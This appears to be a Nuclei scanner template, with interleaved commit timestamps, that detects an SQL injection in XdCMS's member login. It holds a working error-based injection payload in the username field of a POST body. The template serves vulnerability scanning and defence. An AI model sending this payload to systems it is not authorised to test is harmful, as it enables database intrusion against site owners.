2021-03-21 10:15:44 +00:00
id : xdcms-sqli
info :
2022-09-29 13:38:41 +00:00
name : XdCMS - SQL Injection
2021-03-21 10:15:44 +00:00
author : pikpikcu
2022-09-29 13:38:41 +00:00
severity : critical
description : XdCMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
2022-04-22 10:38:41 +00:00
reference :
- https://www.uedbox.com/post/35188/
2022-09-29 13:38:41 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2023-10-14 11:27:55 +00:00
cvss-score : 10
2022-09-29 13:38:41 +00:00
cwe-id : CWE-89
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-10-14 11:27:55 +00:00
tags : sqli,xdcms
2022-06-30 03:18:00 +00:00
variables :
num : "999999999"
2023-04-27 04:28:59 +00:00
http :
2021-03-21 10:15:44 +00:00
- method : POST
path :
- "{{BaseURL}}/index.php?m=member&f=login_save"
2023-10-14 11:27:55 +00:00
2021-03-21 10:15:44 +00:00
headers :
Content-Type : application/x-www-form-urlencoded
2023-10-14 11:27:55 +00:00
2021-03-21 10:15:44 +00:00
body : |
2022-06-30 03:18:00 +00:00
username=dd' or extractvalue(0x0a,concat(0x0a,md5({{num}})))#&password=dd&submit=+%B5%C7+%C2%BC+
2021-03-21 10:15:44 +00:00
matchers-condition : and
matchers :
- type : word
words :
- "Content-Type: text/html"
part : header
- type : word
words :
2022-06-30 03:18:00 +00:00
- '{{md5({{num}})}}'
2021-03-21 10:15:44 +00:00
part : body
- type : status
status :
- 200
2023-10-20 11:41:13 +00:00
# digest: 4a0a00473045022100fbb90c6627f9c598794eba4572224af7d1ed4e438645865c580f4122c56a50ed02202e53c29ae431f148fd0b183b1d68c19e16b7cf577ad0f436b3a9b4979d662319:922c64590222798bb761d5b6d8e72950